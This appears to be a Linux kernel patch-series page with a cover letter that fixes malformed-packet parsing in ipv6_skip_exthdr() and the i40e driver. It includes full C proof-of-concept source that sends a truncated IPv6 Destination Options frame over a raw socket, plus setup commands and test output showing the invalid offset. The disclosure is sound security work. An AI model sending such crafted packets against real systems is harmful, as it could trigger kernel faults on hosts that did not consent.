net: validate malformed IPv6 and TCP headers
Get series with b4
b4 am [email protected]Versions newest first
- v1 Latest2 patches 2 repliesIn review
Patches in v1 No applies recorded yet
| # | Subject and files | Size | Replies | Applied |
|---|---|---|---|---|
| 1/2 | ipv6: reject truncated extension headers in ipv6_skip_exthdr()include/ net/ net/ +2 more | +23 | 0 replies | |
| 2/2 | i40e: validate TCP header before ATR accessdrivers/ | +3 | 2 replies |
Reviews trailers per patch
1 of 2 patches has a Reviewed-by or Acked-by.
| Patch | Aleksandr Loktionov |
|---|---|
| 1/2 | |
| 2/2 | R-b |
Trailers given in replies are filled; those carried in the patches from earlier versions are outlined with dashes.
Cover letter [PATCH net v1 0/2] net: validate malformed IPv6 and TCP headers
From: Zixuan Chai <[email protected]>
Hi Linux kernel maintainers,
This series fixes two malformed-packet parsing issues found in the networking stack. The first is in net/ipv6/exthdrs_core.c: a truncated IPv6 extension header can make ipv6_skip_exthdr() return an offset past the end of the skb. The second is in the i40e driver: i40e_atr() can dereference a TCP header without first checking that the complete header is present in the skb.
The direct IPv6 reproducer reaches the affected netfilter caller when run as root and demonstrates the invalid offset. We did not establish ordinary non-root reachability for this caller. The i40e and XFRM BEET paths were compile-checked and reviewed, but were not runtime-tested because the QEMU guests did not provide the required hardware or offload device.
We've tested the IPv6 changes in clean and patched QEMU guests. Complete extension headers and the tested IPv6 reassembly behavior remain intact.
We will provide detailed information about the bug in this email, along with the complete PoC source.
---- details below ----
Bug details:
Patch 1 fixes the IPv6 parser. ipv6_skip_exthdr() derives the extension-header length from hdrlen and advances the offset without first checking that the complete header is present in the skb. A truncated Destination Options header can therefore make it return an offset past skb->len.
The fix rejects the header when its calculated length exceeds the remaining skb data, before reading the next-header value or advancing the offset. Consumers that use the returned offset now handle -1 as a malformed packet: IPv6 fragment reassembly rejects a malformed first fragment, ICMPv6 does not send an error reply, and XFRM BEET GSO aborts before updating the transport offset. Complete extension headers retain their existing behavior.
Patch 2 fixes a separate length check in i40e_atr(). ipv6_find_hdr() can identify TCP as the next protocol without proving that a complete struct tcphdr is present. The patch checks the remaining skb data before i40e_atr() inspects TCP flags.
Reproducer:
gcc -O2 -Wall -Wextra -o poc poc.c
ip link add veth0 type veth peer name veth1
ip link set dev veth0 address 52:36:9e:3a:43:2d ip link set dev veth1 address 02:00:00:00:00:02 ip -6 addr add 2001:db8:5252::1/64 dev veth0
ip link set veth0 up
ip link set veth1 up
nft add table ip6 caller_probe
nft add chain ip6 caller_probe input \
'{ type filter hook input priority 0; policy accept; }'
nft add rule ip6 caller_probe input iifname veth0 \
counter reject with icmpv6 type port-unreachable
The commands above require root privileges and were run directly in an x86 QEMU guest with 2 vCPUs and 2 GB of RAM.
For the packet-level observation, we temporarily added the following debug print in nf_reject_v6_csum_ok(), immediately after its ipv6_skip_exthdr() call in net/ipv6/netfilter/nf_reject_ipv6.c:
pr_info("skip caller=reject6_csum offset=%d skb_len=%u proto=%u\n",
thoff, skb->len, proto);
The temporary change was not included in the submitted patch. On each kernel, we cleared the log, ran poc directly, and checked the result with:
dmesg -C
./poc veth1 52:36:9e:3a:43:2d 2001:db8:5252::1
poc_rc=$?
echo "poc_rc=$poc_rc"
dmesg | grep 'skip caller=reject6_csum'
nft list chain ip6 caller_probe inputAdditional validation:
The direct helper and consumer probe ran in matching clean and patched QEMU guests as root. All 25 assertions passed in both guests. The key Destination Options case declared a 2048-byte header while only 8 bytes were available:
- clean: ipv6_skip_exthdr() returned offset 2048
- patched: ipv6_skip_exthdr() returned -1
The shared fragment consumer likewise returned false on the clean kernel and true on the patched kernel for a truncated extension header. The packet-level runner completed with expanded_poc=PASS on both kernels, and the final fault scan found no BUG, Oops, KASAN report, panic, or soft-lockup. These tests establish behavior in root QEMU guests only; they do not prove non-root or user-namespace reachability.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/ipv6.h>
#include <net/if.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
static int parse_mac(const char *text, unsigned char *mac)
{
unsigned int values[ETH_ALEN];
if (sscanf(text, "%x:%x:%x:%x:%x:%x",
&values[0], &values[1], &values[2], &values[3],
&values[4], &values[5]) != ETH_ALEN)
return -1;
for (size_t index = 0; index < ETH_ALEN; index++) {
if (values[index] > 0xff)
return -1;
mac[index] = (unsigned char)values[index];
}
return 0;
}static int get_interface_mac(const char *interface, unsigned char *mac)
{
struct ifreq request;
int socket_fd;
int result;
socket_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (socket_fd < 0)
return -1;
memset(&request, 0, sizeof(request));
strncpy(request.ifr_name, interface, IFNAMSIZ - 1);
result = ioctl(socket_fd, SIOCGIFHWADDR, &request);
if (result == 0)
memcpy(mac, request.ifr_hwaddr.sa_data, ETH_ALEN);
close(socket_fd);
return result;
}static void print_usage(const char *program)
{
fprintf(stderr,
"usage: %s <interface> <destination-mac> <destination-ipv6>\n",
program);
}int main(int argc, char **argv)
{
unsigned char source_mac[ETH_ALEN];
unsigned char destination_mac[ETH_ALEN];
unsigned char frame[ETH_HLEN + sizeof(struct ipv6hdr) + 8];
struct ipv6hdr *ip6;
struct sockaddr_ll address;
struct in6_addr destination;
const char *interface;
int socket_fd;
int interface_index;
ssize_t sent;
unsigned int hdrlen = 255;
if (argc != 4) {
print_usage(argv[0]);
return 2;
}
interface = argv[1];
if (parse_mac(argv[2], destination_mac) < 0) {
fprintf(stderr, "invalid destination MAC: %s\n", argv[2]);
return 2;
}
if (inet_pton(AF_INET6, argv[3], &destination) != 1) {
fprintf(stderr, "invalid destination IPv6 address: %s\n", argv[3]);
return 2;
}
if (get_interface_mac(interface, source_mac) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
interface_index = (int)if_nametoindex(interface);
if (interface_index == 0) {
perror("if_nametoindex");
return 1;
}
memset(frame, 0, sizeof(frame));
memcpy(frame, destination_mac, ETH_ALEN);
memcpy(frame + ETH_ALEN, source_mac, ETH_ALEN);
frame[12] = ETH_P_IPV6 >> 8;
frame[13] = ETH_P_IPV6 & 0xff;
ip6 = (struct ipv6hdr *)(frame + ETH_HLEN);
ip6->version = 6;
ip6->payload_len = htons(8);
ip6->nexthdr = IPPROTO_DSTOPTS;
ip6->hop_limit = 64;
inet_pton(AF_INET6, "2001:db8:5252::2", &ip6->saddr);
ip6->daddr = destination;
frame[ETH_HLEN + sizeof(struct ipv6hdr)] = IPPROTO_TCP;
frame[ETH_HLEN + sizeof(struct ipv6hdr) + 1] = hdrlen;
socket_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IPV6));
if (socket_fd < 0) {
perror("AF_PACKET/SOCK_RAW");
return 1;
}
memset(&address, 0, sizeof(address));
address.sll_family = AF_PACKET;
address.sll_protocol = htons(ETH_P_IPV6);
address.sll_ifindex = interface_index;
address.sll_halen = ETH_ALEN;
memcpy(address.sll_addr, destination_mac, ETH_ALEN);
sent = sendto(socket_fd, frame, sizeof(frame), 0,
(struct sockaddr *)&address, sizeof(address));
if (sent < 0) {
perror("sendto");
close(socket_fd);
printf("send_rc=-1 errno=%d\n", errno);
return 1;
}
printf("send_rc=%zd\n", sent);
close(socket_fd);
return sent == (ssize_t)sizeof(frame) ? 0 : 1;
}------END poc.c--------
----BEGIN test output----
send_rc=62
poc_rc=0
[ 456.953986] skip caller=reject6_csum offset=2088 skb_len=48 proto=6
table ip6 caller_probe {
chain input {
type filter hook input priority filter; policy accept;
iifname "veth0" counter packets 1 bytes 48 reject
}
}----END test output----
Zixuan Chai (2):
ipv6: reject truncated extension headers in ipv6_skip_exthdr()
i40e: validate TCP header before ATR access
--- drivers/net/ethernet/intel/i40e/i40e_txrx.c | 3 +++ include/net/ipv6_frag.h | 4 +++- net/ipv4/esp4_offload.c | 8 ++++++-- net/ipv6/esp6_offload.c | 8 ++++++-- net/ipv6/exthdrs_core.c | 14 +++++++------- net/ipv6/icmp.c | 2 +- 6 files changed, 26 insertions(+), 13 deletions(-)
Signature · 1 line
2.34.1